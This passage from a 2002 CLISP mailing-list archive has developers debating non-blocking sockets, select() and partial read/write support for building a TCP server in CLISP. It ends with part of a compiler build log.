have two-byte characters as well as one-byte ASCII ones. I can suppose that statement that cause problem is var int result = read(handle,&b,1); # try to read a byte in stream.d [4549] and XP throws an error when there is twobyte character in buffer. Is there any specialists in the field ? -- Best regards, Arseny From sds@gnu.org Thu Sep 26 21:00:26 2002 Received: from h024.c001.snv.cp.net ([209.228.32.139] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17umIk-000347-00 for ; Thu, 26 Sep 2002 21:00:26 -0700 Received: (cpmta 9965 invoked from network); 26 Sep 2002 21:00:24 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.139) with SMTP; 26 Sep 2002 21:00:24 -0700 X-Sent: 27 Sep 2002 04:00:24 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8QKYkk06983; Thu, 26 Sep 2002 16:34:46 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: Subject: Re: [clisp-list] Re: TCP-based Network Server in CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 26 21:01:02 2002 X-Original-Date: 26 Sep 2002 16:34:45 -0400 I added SOCKET:SOCKET-OPTIONS to the CVS head. please do "cvs up" and try it. > * In message > * On the subject of "RE: [clisp-list] Re: TCP-based Network Server in CLISP" > * Sent on Sat, 21 Sep 2002 17:53:31 -0700 > * Honorable "Dave Richards" writes: > > Unfortunately, Linux 2.2 only provides a read-only interface (although > 2.4 provides a read/write interface) well, I would think that few people use 2.2 now (and even fewer will be using it when CLISP with SOCKET-OPTIONS will be released). > Windows 2000 provides a read-only interface which lies. yuk! maybe Arseny can suggest something here? > Thus, this patch, although it may be useful, doesn't solve my problem. maybe you will invent another solution? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Time would have been the best Teacher, if it did not kill all its students. From ampy@ich.dvo.ru Fri Sep 27 05:13:08 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17utzT-0007gy-00 for ; Fri, 27 Sep 2002 05:13:05 -0700 Received: from ppp116-AS-2.vtc.ru (ppp116-AS-2.vtc.ru [212.16.216.116]) by vtc.ru (8.12.5/8.12.4) with ESMTP id g8RCBoUR012549; Fri, 27 Sep 2002 23:11:59 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <685187869.20020927231203@ich.dvo.ru> To: Sam Steingold CC: "Dave Richards" , clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] Re: TCP-based Network Server in CLISP In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 27 05:14:01 2002 X-Original-Date: Fri, 27 Sep 2002 23:12:03 +1000 Hi, Friday, September 27, 2002, 6:34:45 AM, you wrote: >> Unfortunately, Linux 2.2 only provides a read-only interface (although >> 2.4 provides a read/write interface) > well, I would think that few people use 2.2 now (and even fewer will be > using it when CLISP with SOCKET-OPTIONS will be released). >> Windows 2000 provides a read-only interface which lies. > yuk! > maybe Arseny can suggest something here? Well, SO_RCVLOWAT and SO_SNDLOWAT are nonsupported in winsock. One thing I can suggest to solve a problem is to make socket nonblocking. But it is only first step. One can use SOCKET-STATUS aka select() to determine if he/she may send the data to it. But it doesn't guarantees send() will succeed and all the more lisp output operator will succeed. Suppose I wrote (format sockstream "~D ~D" 111 222) and it result in two send()s. A half of resulted string, say, "111 " will succesfully being sent, but "222" will stuck. Nonblocking socket returns WSAENOBUFS from send(). We won't wait and raise an exception in lisp. How to recover on this error at lisp level ? Another way is to use SO_SNDBUF to set buffer for sends, but I'm not sure about what it means. If it guarantees that when select() allows to send data and data is not longer than sndbuf then send succeeds ? We then can get a buffer to hold all the data or check if data will fit in buffer. Again, we should know data size generated by lisp statement before actual send. What to do if OS doesn't allow big buffer sizes and the data is big ? Doubtful way I think. -- Best regards, Arseny From sds@gnu.org Fri Sep 27 06:18:15 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17uv0Y-0001sv-00 for ; Fri, 27 Sep 2002 06:18:14 -0700 Received: (cpmta 15294 invoked from network); 27 Sep 2002 06:18:09 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 27 Sep 2002 06:18:09 -0700 X-Sent: 27 Sep 2002 13:18:09 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8RDI7f11719; Fri, 27 Sep 2002 09:18:07 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Dave Richards" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: TCP-based Network Server in CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 27 06:19:02 2002 X-Original-Date: 27 Sep 2002 09:18:07 -0400 > * In message > * On the subject of "RE: [clisp-list] Re: TCP-based Network Server in CLISP" > * Sent on Thu, 26 Sep 2002 22:51:59 -0700 > * Honorable "Dave Richards" writes: > > > please do "cvs up" and try it. > > I don't know how to do this. > I had problems compiling 2.30 for both platforms. what problems? what platforms? why didn't you report them? > Has no one implemented a defsystem for CLISP yet? You can use defsystem 3.x from CLOCC, it works. The CLISP special handling of REQUIRE allows you to use a simple Makefile, as explained in the impnotes: please keep CLISP-related discussion on , as explained in -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Marriage is the sole cause of divorce. From Joerg-Cyril.Hoehle@t-systems.com Fri Sep 27 06:42:12 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17uvNg-0008B6-00 for ; Fri, 27 Sep 2002 06:42:08 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Fri, 27 Sep 2002 15:41:55 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 27 Sep 2002 15:41:55 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: dave@synergy.org Subject: [clisp-list] TCP-based Network Server in CLISP MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 27 06:43:03 2002 X-Original-Date: Fri, 27 Sep 2002 15:41:55 +0200 Hi, I find the current discussion about low-water-marks and using lots of = special socket flags likely to run into trouble with all the many = TCP/IP stacks around. I also believe it's complete overkill for Dave Richards' initial = problem. >Have other people written network servers in CLISP? Most I know have either done something at a trivial (unsafe, not = robust) level or given up on using CLISP. May I suggest something simple, like what I believe many other = programmers in other Lisps or languages do and which is portable for = sockets: in non-blocking mode, you can read _as much as is available_ = using a single read(). I think you can also write() a large number, and = the OS will tell you that it couldn't write all and tell you how much = it actually wrote. It's then up to you/the application to deal with = sending the rest at a later time. So this E-Mail is a feature request for Lisp-level access to a single = OS-level read() and write. READ-SOME-BYTE/SEQUENCE et al. > By using a read-byte-no-hang I can read data >until the entire request has been read Using READ-CHAR-NO-HANG for i/o instead of sequence/array functions is = going to keep your program a _toy prototype_ with extremely poor = performance. Stated otherwise: if it works not too badly for you, thank = the OS (scheduler, dispatcher, TCP stack implementations, system load = etc.), not your application. Sadly, CLISP has no better way yet. I think I once suggested = READ-SOME-BYTES and WRITE-SOME-BYTES, which would do a single = OS-dependent read() or write(). There was a thread about "buffering and = partial read/writes" in February. >Another approach >would be to implement "atomic" I/O functions, i.e. a version of >read-sequence or write-sequence which returned the requested amount or >actually transferred amount of data. Exactly my proposal. Please proceed in this direction. I think it's important to realize, stress and document that the result = of a single call to write() is higly OS and file/pipe/socket dependent. = E.g. I once debugged a REXX application where the programmer assumed = the READ function would return a full read. The story is, the string = buffer was not filled up when working on pipes, but would always be = when working with disk files... Thankfully CLISP does full READ on all kinds of files. Regards, J=F6rg H=F6hle. From dave@synergy.org Fri Sep 27 07:05:33 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17uvkK-0007UL-00 for ; Fri, 27 Sep 2002 07:05:32 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Fri, 27 Sep 2002 07:05:30 -0700 From: "Dave Richards" To: "Arseny Slobodjuck" , "Sam Steingold" Cc: Subject: RE: Re[2]: [clisp-list] Re: TCP-based Network Server in CLISP Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-reply-To: <685187869.20020927231203@ich.dvo.ru> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 27 Sep 2002 14:05:30.0542 (UTC) FILETIME=[F045A4E0:01C2662E] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 27 07:06:17 2002 X-Original-Date: Fri, 27 Sep 2002 07:05:29 -0700 > Well, SO_RCVLOWAT and SO_SNDLOWAT are nonsupported in winsock. One > thing I can suggest to solve a problem is to make socket nonblocking. I agree with your subsequent analysis. The CLISP stream logic pre-supposes that partial read()s/write()s are errors, and thus, non-blocking is only the beginning of a solution. > Another way is to use SO_SNDBUF to set buffer for sends, but I'm not > sure about what it means. SO_SNDBUF really isn't helpful in this context. It may be useful from a performance perspective, but since CLISP has no way of knowing the current windowing state, knowing the send buffer size isn't helpful. In previous lives I've implemented server socket abstractions for non-blocking/single-threaded environments. It's not conceptually difficult to do, but it's going to have to be done in C. I'm not going to attempt it until I have a better feel for the CLISP/C environment. Dave From dave@synergy.org Fri Sep 27 07:24:23 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17uw2Y-0000S6-00 for ; Fri, 27 Sep 2002 07:24:22 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Fri, 27 Sep 2002 07:24:21 -0700 From: "Dave Richards" To: "Hoehle, Joerg-Cyril" , Subject: RE: [clisp-list] TCP-based Network Server in CLISP Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 27 Sep 2002 14:24:21.0630 (UTC) FILETIME=[9273F9E0:01C26631] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 27 07:25:05 2002 X-Original-Date: Fri, 27 Sep 2002 07:24:21 -0700 > I find the current discussion about low-water-marks and using > lots of special socket flags likely to run into trouble with all > the many TCP/IP stacks around. This is true. The low-water mark approach was an attempt at addressing the non-partial write() problem. Since neither OS I was testing with supports it, it's fair to suggest that there are likely to be problems. The :so-snd/rcvbuf really only address server performance. :so-keepalive and :so-oobinline, however, address correctness issues. > May I suggest something simple, like what I believe many other > programmers in other Lisps or languages do and which is portable > for sockets: in non-blocking mode, you can read _as much as is > available_ using a single read(). I think you can also write() a > large number, and the OS will tell you that it couldn't write all > and tell you how much it actually wrote. It's then up to you/the > application to deal with sending the rest at a later time. Yes, the final solution is going to require: - an interface to select() - non-blocking sockets - interfaces to partial read()/write() I'd also like an interface to the real interbal time, which is currently unavailable because the interruptprocessing logic is using it. I am quickly coming to the conclusion that CMUCL is a better platform for this application as these interfaces already exist. Dave From samuel.steingold@verizon.net Fri Sep 27 08:11:17 2002 Received: from h021.c001.snv.cp.net ([209.228.32.135] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17uwlw-00065I-00 for ; Fri, 27 Sep 2002 08:11:16 -0700 Received: (cpmta 13199 invoked from network); 27 Sep 2002 08:11:15 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.135) with SMTP; 27 Sep 2002 08:11:15 -0700 X-Sent: 27 Sep 2002 15:11:15 GMT To: "Dave Richards" Cc: "Hoehle, Joerg-Cyril" , Subject: Re: [clisp-list] TCP-based Network Server in CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 27 08:12:03 2002 X-Original-Date: 27 Sep 2002 10:44:54 -0400 > * In message > * On the subject of "RE: [clisp-list] TCP-based Network Server in CLISP" > * Sent on Fri, 27 Sep 2002 07:24:21 -0700 > * Honorable "Dave Richards" writes: > > Yes, the final solution is going to require: "final solution" is a nasty word combination. > - an interface to select() SOCKET-STATUS > - non-blocking sockets I can add FIONREAD, FIONWRITE & FIONBIO to SOCKET-OPTIONS. Would it help? > - interfaces to partial read()/write() partial read is available for buffered streams, I think. I an add partial write too. > I am quickly coming to the conclusion that CMUCL is a better platform > for this application as these interfaces already exist. I would be aggrieved to see you go. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux "A pint of sweat will save a gallon of blood." -- George S. Patton From samuel.steingold@verizon.net Fri Sep 27 08:13:00 2002 Received: from h013.c001.snv.cp.net ([209.228.32.127] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17uwnF-0006EO-00 for ; Fri, 27 Sep 2002 08:12:37 -0700 Received: (cpmta 28060 invoked from network); 27 Sep 2002 08:12:36 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.127) with SMTP; 27 Sep 2002 08:12:36 -0700 X-Sent: 27 Sep 2002 15:12:36 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, dave@synergy.org Subject: Re: [clisp-list] TCP-based Network Server in CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 27 08:13:07 2002 X-Original-Date: 27 Sep 2002 10:01:53 -0400 > * In message > * On the subject of "[clisp-list] TCP-based Network Server in CLISP" > * Sent on Fri, 27 Sep 2002 15:41:55 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > May I suggest something simple, like what I believe many other > programmers in other Lisps or languages do and which is portable for > sockets: in non-blocking mode, you can read _as much as is available_ > using a single read(). I think you can also write() a large number, > and the OS will tell you that it couldn't write all and tell you how > much it actually wrote. It's then up to you/the application to deal > with sending the rest at a later time. > > So this E-Mail is a feature request for Lisp-level access to a single > OS-level read() and write. READ-SOME-BYTE/SEQUENCE et al. right now, _buffered_ stream _input_ works as you describe (a single read). output works the same way for buffered and unbuffered streams (this can be fixed). So, Dave, could you please try buffered streams? (you will need the latest CLISP, of course). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Two wrongs don't make a right, but three rights make a left. From don-sourceforge@isis.cs3-inc.com Fri Sep 27 14:06:43 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17v2Ju-0001mo-00 for ; Fri, 27 Sep 2002 14:06:42 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g8RL6bX27423 for clisp-list@lists.sourceforge.net; Fri, 27 Sep 2002 14:06:37 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15764.51292.942559.481124@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Subject: [clisp-list] TCP-based Network Server in CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 27 14:07:06 2002 X-Original-Date: Fri, 27 Sep 2002 14:06:36 -0700 > > By using a read-byte-no-hang I can read data > >until the entire request has been read > Using READ-CHAR-NO-HANG for i/o instead of sequence/array functions is > going to keep your program a _toy prototype_ with extremely poor I think this conclusion is unjustified. What do you consider to be extremely poor performance? Do you have any useful data? - How much slower is it to read one char at a time? I expect you can get a large factor if you only compare something like cpu usage for a single read that returns, say, 1K bytes to 1K tests and reads on single bytes. However I don't think that reflects the true cost of most services. - In some cases this cpu overhead is not the bottleneck, such as when you have limited network bandwidth, as most of us do. How fast a cpu do you need to read/write at what speeds from clisp one byte at a time? - There are also cases where the IO cost is not the bottleneck. That is, high speed communication is not really needed or even intended. In this case you can even prevent a bandwidth attack from denying service to others by simply sharing your effort among the users. > performance. Stated otherwise: if it works not too badly for you, thank > the OS (scheduler, dispatcher, TCP stack implementations, system load > etc.), not your application. The OS is the environment in which your server lives. It's perfectly reasonable for your server to be adapted to its environment. If your server works well in that environment I think it deserves credit for that regardless of how it might fare in some other environment. From ampy@ich.dvo.ru Fri Sep 27 23:51:45 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vBS0-0007Ch-00 for ; Fri, 27 Sep 2002 23:51:41 -0700 Received: from ppp114-AS-2.vtc.ru (ppp114-AS-2.vtc.ru [212.16.216.114]) by vtc.ru (8.12.5/8.12.4) with ESMTP id g8S6ojUR024674; Sat, 28 Sep 2002 17:50:47 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <10311392301.20020928175057@ich.dvo.ru> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] TCP-based Network Server in CLISP In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 27 23:52:02 2002 X-Original-Date: Sat, 28 Sep 2002 17:50:57 +1000 Hello Sam, Saturday, September 28, 2002, 12:44:54 AM, you wrote: >> - an interface to select() > SOCKET-STATUS >> - non-blocking sockets > I can add FIONREAD, FIONWRITE & FIONBIO to SOCKET-OPTIONS. > Would it help? No! Don't add FIONBIO! This may break something, firstly ctrl-c interruptability. FIONWRITE seems not available in winsock. I'm going to set all sockets operations to nonblocking and change everywhere operation() to { do while (!select()); operation(); } to get rid of WSACancelBlockingCall. >> - interfaces to partial read()/write() > partial read is available for buffered streams, I think. > I an add partial write too. What do you mean by partial read ? It should be something like (read-to-string socket-stream) -> string, which always return immediately. There also can be (write-from-string socket-stream string frompos count) -> count-written. -- Best regards, Arseny From dave@synergy.org Sat Sep 28 09:35:17 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vKYn-00065l-00 for ; Sat, 28 Sep 2002 09:35:17 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Sat, 28 Sep 2002 09:35:16 -0700 From: "Dave Richards" To: "Arseny Slobodjuck" , "Sam Steingold" Cc: Subject: RE: Re[2]: [clisp-list] TCP-based Network Server in CLISP Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-reply-To: <10311392301.20020928175057@ich.dvo.ru> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 28 Sep 2002 16:35:16.0078 (UTC) FILETIME=[067B60E0:01C2670D] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 09:36:01 2002 X-Original-Date: Sat, 28 Sep 2002 09:35:14 -0700 > >> - an interface to select() > > > SOCKET-STATUS I have two concerns with SOCKET-STATUS as written: - SOCKET-STATUS does not allow one to select() on exceptional (what CLISP calls error) conditions. - SOCKET-STATUS retries upon reception of EINTR. Errors in the sense of ECONNRESET, ETIMEDOUT, etc. select() true for read (not exceptional conditions). Exceptional conditions in TCP, for example, is used to signal the existence of urgent (out-of-band) data. select() won't set a bit in the result fd_sets unless that bit was set in the input fd_sets. The :direction value in SOCKET-STATUS can be one of :input, :output or :io. Therefore, it is not possible to select for urgent TCP data using SOCKET-STATUS. It shuld be possible to specify any combination of :input, :output, and :exception/:error (whatever) and :io for convenience. Btw, kudos if you handle server sockets differently and use the :accept direction for them (which, of course, maps toe read). Upon reception of a signal, SOCKET-STATUS retries. The timeval structure passed into select() is normally read-only and, thus, doesn't reflect the passage of time between the select() and the signal. (Some operating systems implement a version of select() where this isn't true, but they are a minority.) Therefore, upon delivery of a signal a loss of temporal continuity exists. If select() is re-started then select() may have waited for much longer than the application had intended. My server application, for example, is really a loop which handles two types of events: (1) network traffic events and (2) time passage events. There are three network traffic events: (1) new input data has arrived, (2) the application has buffered output and there is now room on the socket to write some/all of it to the socket, and (3) a new TCP connection has arrived. We're close to being able to handle these network traffic events. Time passage events are orthoginal, for the most part, but do impact how we handle select() EINTRs. Time passage can be handled in one of two ways: (1) polling, or (2) via signals. Either way, this impacts how we handle EINTR in select(). My current C code uses polling. The last set of gprof data I collected showed me in gettimeofday() 3% of the time! My goal/desire would be to use an interval timer in the next version. One day I want to address SIGALRM in CLISP (as part of the passage of time event handling) but that's a different discussion. Dave From dave@synergy.org Sat Sep 28 09:46:50 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17vKjx-0001j6-00 for ; Sat, 28 Sep 2002 09:46:49 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Sat, 28 Sep 2002 09:46:48 -0700 From: "Dave Richards" To: "clisp-list" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0000_01C266D3.F647D2F0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 28 Sep 2002 16:46:48.0210 (UTC) FILETIME=[A3065720:01C2670E] Subject: [clisp-list] clisp-2.30 build problems on Red Hat Linux 6.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 28 09:47:03 2002 X-Original-Date: Sat, 28 Sep 2002 09:46:47 -0700 This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C266D3.F647D2F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I notice that the configure script has reduced the number of command line arguments to makemake in 2.30 from that in 2.28. < ./makemake --prefix=/home/dave/clisp --with-readline --with-gettext --with- dynamic-ffi > Makefile --- > ./makemake --with-dynamic-ffi --prefix=/home/dave/clisp > Makefile The build output is included: ------=_NextPart_000_0000_01C266D3.F647D2F0 Content-Type: application/octet-stream; name="make.out" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="make.out" cd src=0A= ./makemake --with-dynamic-ffi --prefix=3D/home/dave/clisp > Makefile=0A= make=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none = ../utils/comment5.c -o comment5=0A= ln -s ../utils/ansidecl.d ansidecl.d=0A= ./comment5 ansidecl.d ansidecl.c=0A= rm -f ansidecl.d=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none ansidecl.c = -o ansidecl=0A= rm -f ansidecl.c=0A= ./comment5 ../utils/varbrace.d | ./ansidecl > varbrace.c=0A= gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type = -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations = -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none varbrace.c = -o varbrace=0A= rm -f varbrace.c=0A= gcc -W -Wswitch -Wcomment 